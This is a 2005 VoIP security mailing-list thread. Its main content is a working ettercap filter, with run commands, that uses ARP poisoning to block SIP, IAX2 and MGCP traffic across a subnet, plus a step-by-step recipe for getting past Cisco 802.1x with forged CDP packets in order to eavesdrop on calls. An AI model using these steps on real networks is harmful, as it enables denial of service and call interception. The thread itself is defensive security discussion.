[VOIPSEC] VoIP Blocking Filter w/Ettercap
Hank Nussbacher
hank at efes.iucc.ac.il
Sat Jul 16 14:30:58 CDT 2005
On Fri, 15 Jul 2005, Welsh, Ed wrote:
See Cisco's response at:
<http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_security_notice09186a008048e0d6.html>
-Hank
>
> I do not believe there are any phones with 802.1x supplicants. Wrong?
>
> Crafting CDP packets will scoot you around 802.1x and into the voice network on cisco 802.1x enabled
> ports. That is how the phones "register" with the switch and bypass 802.1x.
>
> Once that is done, run ettercap arp poisoning and vomit to get the goods.
>
> I created a Perl script that automates the whole thing, but can't share it for certain reasons.
>
> The gist is this:
>
> Plug into a voice enabled 802.1x secured port.
> Boot into a Knoppix or The Auditor Collection CD.
> Throw the right CDP packet on the wire to register machine as a phone.(use the CDP tool)
> Sniff the dot1q packets to get the vlan name.
> Use dot1q linux module to create a trunk and virtual interface on the voice vlan.
> Run Ettercap poisoning.
> Run Vomit.
> Send CDP packets every so often to keep the registration.
>
> 802.1x will never bother you.
>
> We released the advisory. Google "voip cisco 802.1x" to find it.
>
> EW
>
>
> -----Original Message-----
> From: Credland, Jim [mailto:jim.credland at thus.net]
> Sent: Wednesday, July 13, 2005 9:32 AM
> To: Natas; Voipsec at voipsa.org
> Subject: RE: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>
> Protecting a network to which people have physical access is tricky.
> Ettercap is a scary reminder of how easy it is to intercept/reroute and generally ethernet segments.
> If you've got a test network to try a man in the middle attack on using ettercap it's well worth it
> for the amusement value alone.
>
> In an enterprise environment requiring a high standard of VoIP security I'd definitely be considering
> something like 802.1x port authentication to reduce the risk from someone connecting a PC to the VoIP
> vLAN, and if it was readily available encryption of the voice and switching traffic.
>
> Much of the documentation on VoIP Security seems to skip over these kinds of problems, the NIST
> documents solution is use encryption, authentication and public keys. This does little about
> denial-of-service and has the lack of
> support for these kinds of features in many implementations. The Cisco
> VoIP security document used to suggests you don't let anyone bad near your switch - but I've noticed a
> new document on their site listing a whole load of layer 2 security features - see
> http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/networking_solutions_whi
> te_paper0900aecd80240249.shtml - in the layer 2 defenses section. I'd be interested - if you test
> switch has these features - in whether or not you can cause much distruption with these features
> enabled.
>
> I think I saw a tool for listening to intercepted RTP streams but I forget what it's called?
>
> Luckly once you get out of your LAN environment to a central server or carrier environment where there
> are strong physical access controls then this kind of security becomes less critical and other
> problems raise their heads instead.
>
> jim.credland at thus.net
> Security Consultant
>
>
> > -----Original Message-----
> > From: Natas [mailto:natas05 at gmail.com]
> > Sent: 13 July 2005 02:09
> > To: Voipsec at voipsa.org
> > Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
> >
> > After playing around with ettercap and its filter program,
> > etterfilter, I realized how easy it would be to ARP poison a network
> > and block all VoIP packets from passing through.
> > While packet manipulation obviously isn't new, and the root of the
> > problem comes from the ease of ARP poisoning, I was still kind of
> > shocked at how easy an attack like this could be pulled off in a real
> > world scenario.
> > A simple ettercap filter can be used to block all SIP, IAX2 and MGCP
> > traffic, stopping any possible communication across a network segment,
> > but letting other traffic properly pass through. Below is a basic
> > filter I wrote up for this list.
> >
> >
> > # blockvoip.filter
> > # Proof of concept VoIP blocking filter # By Natas # Instructions:
> > # Run "etterfilter blockvoip.filter -o blockvoip.ef"
> > # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
> >
> > if (ip.proto == UDP && udp.src == 4569) {
> > msg("Killed Attempted IAX2 Connection.\n");
> > drop();
> > kill();
> > }
> >
> > if (ip.proto == UDP && udp.src == 5060) {
> > msg("Killed Attempted SIP Connection.\n");
> > drop();
> > kill();
> > }
> >
> > if (ip.proto == UDP && udp.src == 2427) {
> > msg("Killed Attempted MGCP Connection.\n");
> > drop();
> > kill();
> > }
> >
> > # Don't know to much about MGCP Call Agent traffic but # I put it in
> > here for the hell of it.
> > if (ip.proto == UDP && udp.src == 2727) {
> > msg("Killed Attempted MGCP Call Agent Connection.\n");
> > drop();
> > kill();
> > }
> >
> > # End.
> >
> > Obviously this is just a simple example and could easily be expanded
> > to ensure that no VoIP traffic whatsoever passes through.
> >
> > I'm not sure how everyone here will feel about this little example but
> > I wanted to put it out there for everyone to see.
> > I have some other VoIP packet manipulation ideas that I am playing
> > around with.
> >
> > I enjoy the VoIPSA mailing list very much and like reading every ones
> > posts and concerns. If you would like to talk off the list, feel free
> > to email me or contact me at 206-338-3337.
> >
> > Natas
> >
> > _______________________________________________
> > Voipsec mailing list
> > Voipsec at voipsa.org
> > http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
> >
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
>
>
> The information transmitted in this e-mail is intended only for the addressee and may contain confidential and/or privileged material.
> Any interception, review, retransmission, dissemination, or other use of, or taking of any action upon this information by persons or entities
> other than the intended recipient is prohibited by law and may subject them to criminal or civil liability. If you received this communication
> in error, please contact us immediately at 816.421.6611, and delete the communication from any computer or network system.
>
>
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
> +++++++++++++++++++++++++++++++++++++++++++
> This Mail Was Scanned By Mail-seCure System
> at the Tel-Aviv University CC.
>
More information about the Voipsec
mailing list